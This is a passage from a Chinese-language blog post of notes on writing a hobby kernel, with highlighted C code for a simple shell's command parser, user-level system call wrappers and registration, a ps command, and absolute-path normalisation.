</span>&#123;</span><br><span class="line">   assert(cmd_str != <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">int32_t</span> arg_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span>(arg_idx &lt; MAX_ARG_NR) &#123;</span><br><span class="line">      argv[arg_idx] = <span class="literal">NULL</span>;</span><br><span class="line">      arg_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">char</span>* next = cmd_str;</span><br><span class="line">   <span class="keyword">int32_t</span> argc = <span class="number">0</span>;</span><br><span class="line">   <span class="comment">/* 外层循环处理整个命令行 */</span></span><br><span class="line">   <span class="keyword">while</span>(*next) &#123;</span><br><span class="line">      <span class="comment">/* 去除命令字或参数之间的空格 */</span></span><br><span class="line">      <span class="keyword">while</span>(*next == token) &#123;</span><br><span class="line"> next++;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="comment">/* 处理最后一个参数后接空格的情况,如"ls dir2 " */</span></span><br><span class="line">      <span class="keyword">if</span> (*next == <span class="number">0</span>) &#123;</span><br><span class="line"> <span class="keyword">break</span>; </span><br><span class="line">      &#125;</span><br><span class="line">      argv[argc] = next;</span><br><span class="line"></span><br><span class="line">     <span class="comment">/* 内层循环处理命令行中的每个命令字及参数 */</span></span><br><span class="line">      <span class="keyword">while</span> (*next &amp;&amp; *next != token) &#123;  <span class="comment">// 在字符串结束前找单词分隔符</span></span><br><span class="line"> next++;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 如果未结束(是token字符),使tocken变成0 */</span></span><br><span class="line">      <span class="keyword">if</span> (*next) &#123;</span><br><span class="line"> *next++ = <span class="number">0</span>;<span class="comment">// 将token字符替换为字符串结束符0,做为一个单词的结束,并将字符指针next指向下一个字符</span></span><br><span class="line">      &#125;</span><br><span class="line">   </span><br><span class="line">      <span class="comment">/* 避免argv数组访问越界,参数过多则返回0 */</span></span><br><span class="line">      <span class="keyword">if</span> (argc &gt; MAX_ARG_NR) &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      argc++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> argc;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span>* argv[MAX_ARG_NR];    <span class="comment">// argv必须为全局变量，为了以后exec的程序可访问参数</span></span><br><span class="line"><span class="keyword">int32_t</span> argc = <span class="number">-1</span>;</span><br><span class="line"><span class="comment">/* 简单的shell */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">my_shell</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   cwd_cache[<span class="number">0</span>] = <span class="string">'/'</span>;</span><br><span class="line">   <span class="keyword">while</span> (<span class="number">1</span>) &#123; <span class="comment">// 循环处理命令</span></span><br><span class="line">      print_prompt(); </span><br><span class="line">      <span class="built_in">memset</span>(final_path, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">      <span class="built_in">memset</span>(cmd_line, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">      readline(cmd_line, MAX_PATH_LEN);</span><br><span class="line">      <span class="keyword">if</span> (cmd_line[<span class="number">0</span>] == <span class="number">0</span>) &#123; <span class="comment">// 若只键入了一个回车</span></span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      argc = <span class="number">-1</span>;</span><br><span class="line">      argc = cmd_parse(cmd_line, argv, <span class="string">' '</span>);</span><br><span class="line">      <span class="keyword">if</span> (argc == <span class="number">-1</span>) &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"num of arguments exceed %d\n"</span>, MAX_ARG_NR);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      </span><br><span class="line">      <span class="keyword">int32_t</span> arg_idx = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">while</span>(arg_idx &lt; argc) &#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s "</span>, argv[arg_idx]); </span><br><span class="line"> arg_idx++;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   panic(<span class="string">"my_shell: should not be here"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面测试一下，可以正常处理字符串</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/110.png" alt></p><h2 id="添加系统调用"><a href="#添加系统调用" class="headerlink" title="添加系统调用"></a>添加系统调用</h2><p>下面添加一大堆系统调用，实现shell交互，首先添加系统调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> __LIB_USER_SYSCALL_H</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> __LIB_USER_SYSCALL_H</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdint.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"fs.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">enum</span> SYSCALL_NR &#123;</span><br><span class="line">   SYS_GETPID,</span><br><span class="line">   SYS_WRITE,</span><br><span class="line">   SYS_MALLOC,</span><br><span class="line">   SYS_FREE,</span><br><span class="line">   SYS_FORK,</span><br><span class="line">   SYS_READ,</span><br><span class="line">   SYS_PUTCHAR,</span><br><span class="line">   SYS_CLEAR,</span><br><span class="line">   SYS_GETCWD,</span><br><span class="line">   SYS_OPEN,</span><br><span class="line">   SYS_CLOSE,</span><br><span class="line">   SYS_LSEEK,</span><br><span class="line">   SYS_UNLINK,</span><br><span class="line">   SYS_MKDIR,</span><br><span class="line">   SYS_OPENDIR,</span><br><span class="line">   SYS_CLOSEDIR,</span><br><span class="line">   SYS_CHDIR,</span><br><span class="line">   SYS_RMDIR,</span><br><span class="line">   SYS_READDIR,</span><br><span class="line">   SYS_REWINDDIR,</span><br><span class="line">   SYS_STAT,</span><br><span class="line">   SYS_PS</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">uint32_t</span> getpid(<span class="keyword">void</span>);</span><br><span class="line"><span class="keyword">uint32_t</span> write(<span class="keyword">int32_t</span> fd, <span class="keyword">const</span> <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count);</span><br><span class="line"><span class="function"><span class="keyword">void</span>* <span class="title">malloc</span><span class="params">(<span class="keyword">uint32_t</span> size)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">free</span><span class="params">(<span class="keyword">void</span>* ptr)</span></span>;</span><br><span class="line"><span class="keyword">int16_t</span> fork(<span class="keyword">void</span>);</span><br><span class="line"><span class="keyword">int32_t</span> read(<span class="keyword">int32_t</span> fd, <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count);</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">putchar</span><span class="params">(<span class="keyword">char</span> char_asci)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">clear</span><span class="params">(<span class="keyword">void</span>)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">getcwd</span><span class="params">(<span class="keyword">char</span>* buf, <span class="keyword">uint32_t</span> size)</span></span>;</span><br><span class="line"><span class="keyword">int32_t</span> open(<span class="keyword">char</span>* pathname, <span class="keyword">uint8_t</span> flag);</span><br><span class="line"><span class="keyword">int32_t</span> close(<span class="keyword">int32_t</span> fd);</span><br><span class="line"><span class="keyword">int32_t</span> lseek(<span class="keyword">int32_t</span> fd, <span class="keyword">int32_t</span> offset, <span class="keyword">uint8_t</span> whence);</span><br><span class="line"><span class="keyword">int32_t</span> unlink(<span class="keyword">const</span> <span class="keyword">char</span>* pathname);</span><br><span class="line"><span class="keyword">int32_t</span> mkdir(<span class="keyword">const</span> <span class="keyword">char</span>* pathname);</span><br><span class="line"><span class="function">struct dir* <span class="title">opendir</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* name)</span></span>;</span><br><span class="line"><span class="keyword">int32_t</span> closedir(struct dir* dir);</span><br><span class="line"><span class="keyword">int32_t</span> rmdir(<span class="keyword">const</span> <span class="keyword">char</span>* pathname);</span><br><span class="line"><span class="function">struct dir_entry* <span class="title">readdir</span><span class="params">(struct dir* dir)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">rewinddir</span><span class="params">(struct dir* dir)</span></span>;</span><br><span class="line"><span class="keyword">int32_t</span> stat(<span class="keyword">const</span> <span class="keyword">char</span>* path, struct stat* buf);</span><br><span class="line"><span class="keyword">int32_t</span> chdir(<span class="keyword">const</span> <span class="keyword">char</span>* path);</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ps</span><span class="params">(<span class="keyword">void</span>)</span></span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>然后增加系统调用实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 获取当前工作目录 */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">getcwd</span><span class="params">(<span class="keyword">char</span>* buf, <span class="keyword">uint32_t</span> size)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">return</span> (<span class="keyword">char</span>*)_syscall2(SYS_GETCWD, buf, size);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 以flag方式打开文件pathname */</span></span><br><span class="line"><span class="keyword">int32_t</span> open(<span class="keyword">char</span>* pathname, <span class="keyword">uint8_t</span> flag) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall2(SYS_OPEN, pathname, flag);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 关闭文件fd */</span></span><br><span class="line"><span class="keyword">int32_t</span> close(<span class="keyword">int32_t</span> fd) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall1(SYS_CLOSE, fd);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 设置文件偏移量 */</span></span><br><span class="line"><span class="keyword">int32_t</span> lseek(<span class="keyword">int32_t</span> fd, <span class="keyword">int32_t</span> offset, <span class="keyword">uint8_t</span> whence) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall3(SYS_LSEEK, fd, offset, whence);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 删除文件pathname */</span></span><br><span class="line"><span class="keyword">int32_t</span> unlink(<span class="keyword">const</span> <span class="keyword">char</span>* pathname) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall1(SYS_UNLINK, pathname);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 创建目录pathname */</span></span><br><span class="line"><span class="keyword">int32_t</span> mkdir(<span class="keyword">const</span> <span class="keyword">char</span>* pathname) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall1(SYS_MKDIR, pathname);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 打开目录name */</span></span><br><span class="line"><span class="function">struct dir* <span class="title">opendir</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* name)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">return</span> (struct dir*)_syscall1(SYS_OPENDIR, name);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 关闭目录dir */</span></span><br><span class="line"><span class="keyword">int32_t</span> closedir(struct dir* dir) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall1(SYS_CLOSEDIR, dir);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 删除目录pathname */</span></span><br><span class="line"><span class="keyword">int32_t</span> rmdir(<span class="keyword">const</span> <span class="keyword">char</span>* pathname) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall1(SYS_RMDIR, pathname);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 读取目录dir */</span></span><br><span class="line"><span class="function">struct dir_entry* <span class="title">readdir</span><span class="params">(struct dir* dir)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">return</span> (struct dir_entry*)_syscall1(SYS_READDIR, dir);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 回归目录指针 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">rewinddir</span><span class="params">(struct dir* dir)</span> </span>&#123;</span><br><span class="line">   _syscall1(SYS_REWINDDIR, dir);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 获取path属性到buf中 */</span></span><br><span class="line"><span class="keyword">int32_t</span> stat(<span class="keyword">const</span> <span class="keyword">char</span>* path, struct stat* buf) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall2(SYS_STAT, path, buf);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 改变工作目录为path */</span></span><br><span class="line"><span class="keyword">int32_t</span> chdir(<span class="keyword">const</span> <span class="keyword">char</span>* path) &#123;</span><br><span class="line">   <span class="keyword">return</span> _syscall1(SYS_CHDIR, path);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 显示任务列表 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ps</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   _syscall0(SYS_PS);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后在syscall_table中注册</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化系统调用 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">syscall_init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"syscall_init start\n"</span>);</span><br><span class="line">   syscall_table[SYS_GETPID]     = sys_getpid;</span><br><span class="line">   syscall_table[SYS_WRITE]      = sys_write;</span><br><span class="line">   syscall_table[SYS_MALLOC]     = sys_malloc;</span><br><span class="line">   syscall_table[SYS_FREE]       = sys_free;</span><br><span class="line">   syscall_table[SYS_FORK]       = sys_fork;</span><br><span class="line">   syscall_table[SYS_READ]       = sys_read;</span><br><span class="line">   syscall_table[SYS_PUTCHAR]    = sys_putchar;</span><br><span class="line">   syscall_table[SYS_CLEAR]      = cls_screen;</span><br><span class="line">   syscall_table[SYS_GETCWD]     = sys_getcwd;</span><br><span class="line">   syscall_table[SYS_OPEN]       = sys_open;</span><br><span class="line">   syscall_table[SYS_CLOSE]      = sys_close;</span><br><span class="line">   syscall_table[SYS_LSEEK] = sys_lseek;</span><br><span class="line">   syscall_table[SYS_UNLINK] = sys_unlink;</span><br><span class="line">   syscall_table[SYS_MKDIR] = sys_mkdir;</span><br><span class="line">   syscall_table[SYS_OPENDIR] = sys_opendir;</span><br><span class="line">   syscall_table[SYS_CLOSEDIR]   = sys_closedir;</span><br><span class="line">   syscall_table[SYS_CHDIR] = sys_chdir;</span><br><span class="line">   syscall_table[SYS_RMDIR] = sys_rmdir;</span><br><span class="line">   syscall_table[SYS_READDIR] = sys_readdir;</span><br><span class="line">   syscall_table[SYS_REWINDDIR] = sys_rewinddir;</span><br><span class="line">   syscall_table[SYS_STAT] = sys_stat;</span><br><span class="line">   syscall_table[SYS_PS] = sys_ps;</span><br><span class="line">   put_str(<span class="string">"syscall_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中命令ps在thread中的实现核心sys_ps如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 打印任务列表 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sys_ps</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">char</span>* ps_title = <span class="string">"PID            PPID           STAT           TICKS          COMMAND\n"</span>;</span><br><span class="line">   sys_write(stdout_no, ps_title, <span class="built_in">strlen</span>(ps_title));</span><br><span class="line">   list_traversal(&amp;thread_all_list, elem2thread_info, <span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="路径解析"><a href="#路径解析" class="headerlink" title="路径解析"></a>路径解析</h2><p>绝对路径是当前文件的全路径，相对路径是以当前工作路径为基础进行操作。要判断这两个路径最好的方法就是判断输入路径，若输入路径以根目录的”/“开头则认为是相对路径，路径解析主要把路径中的”..”和”.”替换成实际的目录，将用户键入的路径，无论是绝对路径还是相对路径，一律转换成不含”.”和”..”的绝对路径进行2操作</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将路径old_abs_path中的..和.转换为实际路径后存入new_abs_path */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">wash_path</span><span class="params">(<span class="keyword">char</span>* old_abs_path, <span class="keyword">char</span>* new_abs_path)</span> </span>&#123;</span><br><span class="line">   assert(old_abs_path[<span class="number">0</span>] == <span class="string">'/'</span>);</span><br><span class="line">   <span class="keyword">char</span> name[MAX_FILE_NAME_LEN] = &#123;<span class="number">0</span>&#125;;    </span><br><span class="line">   <span class="keyword">char</span>* sub_path = old_abs_path;</span><br><span class="line">   sub_path = path_parse(sub_path, name);</span><br><span class="line">   <span class="keyword">if</span> (name[<span class="number">0</span>] == <span class="number">0</span>) &#123; <span class="comment">// 若只键入了"/",直接将"/"存入new_abs_path后返回 </span></span><br><span class="line">      new_abs_path[<span class="number">0</span>] = <span class="string">'/'</span>;</span><br><span class="line">      new_abs_path[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   new_abs_path[<span class="number">0</span>] = <span class="number">0</span>;   <span class="comment">// 避免传给new_abs_path的缓冲区不干净</span></span><br><span class="line">   <span class="built_in">strcat</span>(new_abs_path, <span class="string">"/"</span>);</span><br><span class="line">   <span class="keyword">while</span> (name[<span class="number">0</span>]) &#123;</span><br><span class="line">      <span class="comment">/* 如果是上一级目录“..” */</span></span><br><span class="line">      <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">".."</span>, name)) &#123;</span><br><span class="line"> <span class="keyword">char</span>* slash_ptr =  <span class="built_in">strrchr</span>(new_abs_path, <span class="string">'/'</span>);</span><br><span class="line">       <span class="comment">/*如果未到new_abs_path中的顶层目录,就将最右边的'/'替换为0,</span></span><br><span class="line"><span class="comment"> 这样便去除了new_abs_path中最后一层路径,相当于到了上一级目录 */</span></span><br><span class="line"> <span class="keyword">if</span> (slash_ptr != new_abs_path) &#123;<span class="comment">// 如new_abs_path为“/a/b”,".."之后则变为“/a”</span></span><br><span class="line">    *slash_ptr = <span class="number">0</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;      <span class="comment">// 如new_abs_path为"/a",".."之后则变为"/"</span></span><br><span class="line">      <span class="comment">/* 若new_abs_path中只有1个'/',即表示已经到了顶层目录,</span></span><br><span class="line"><span class="comment"> 就将下一个字符置为结束符0. */</span></span><br><span class="line">    *(slash_ptr + <span class="number">1</span>) = <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(<span class="string">"."</span>, name)) &#123;  <span class="comment">// 如果路径不是‘.’,就将name拼接到new_abs_path</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(new_abs_path, <span class="string">"/"</span>)) &#123;  <span class="comment">// 如果new_abs_path不是"/",就拼接一个"/",此处的判断是为了避免路径开头变成这样"//"</span></span><br><span class="line">    <span class="built_in">strcat</span>(new_abs_path, <span class="string">"/"</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="built_in">strcat</span>(new_abs_path, name);</span><br><span class="line">      &#125;  <span class="comment">// 若name为当前目录".",无须处理new_abs_path</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 继续遍历下一层路径 */</span></span><br><span class="line">      <span class="built_in">memset</span>(name, <span class="number">0</span>, MAX_FILE_NAME_LEN);</span><br><span class="line">      <span class="keyword">if</span> (sub_path) &#123;</span><br><span class="line"> sub_path = path_parse(sub_path, name);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将path处理成不含..和.的绝对路径,存储在final_path */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">make_clear_abs_path</span><span class="params">(<span class="keyword">char</span>* path, <span class="keyword">char</span>* final_path)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">char</span> abs_path[MAX_PATH_LEN] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">   <span class="comment">/* 先判断是否输入的是绝对路径 */</span></span><br><span class="line">   <span class="keyword">if</span> (path[<span class="number">0</span>] != <span class="string">'/'</span>) &#123;      <span class="comment">// 若输入的不是绝对路径,就拼接成绝对路径</span></span><br><span class="line">      <span class="built_in">memset</span>(abs_path, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">      <span class="keyword">if</span> (getcwd(abs_path, MAX_PATH_LEN) != <span class="literal">NULL</span>) &#123;</span><br><span class="line"> <span class="keyword">if</span> (!((abs_path[<span class="number">0</span>] == <span class="string">'/'</span>) &amp;&amp; (abs_path[<span class="number">1</span>] == <span class="number">0</span>))) &#123;     <span class="comment">// 若abs_path表示的当前目录不是根目录/</span></span><br><span class="line">    <span class="built_in">strcat</span>(abs_path, <span class="string">"/"</span>);</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">strcat</span>(abs_path, path);</span><br><span class="line">   wash_path(abs_path, final_path);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面的代码我们就先不测试了，待会一起进行测试，接下来我们继续完善ls，cd，mkdir，ps，rm等命令，我们采用内部函数的方法对其进行实现，遵循以下几点</p><ul><li>内部命令都以<code>buildin_ + 命令名</code>组合</li><li>形参均为argc和argv，argc是参数数组argv中参数的个数</li><li>函数实现是调用同功能的系统调用实现的</li><li>系统调用前调用make_clear_abs_path将路径转换为绝对路径</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span 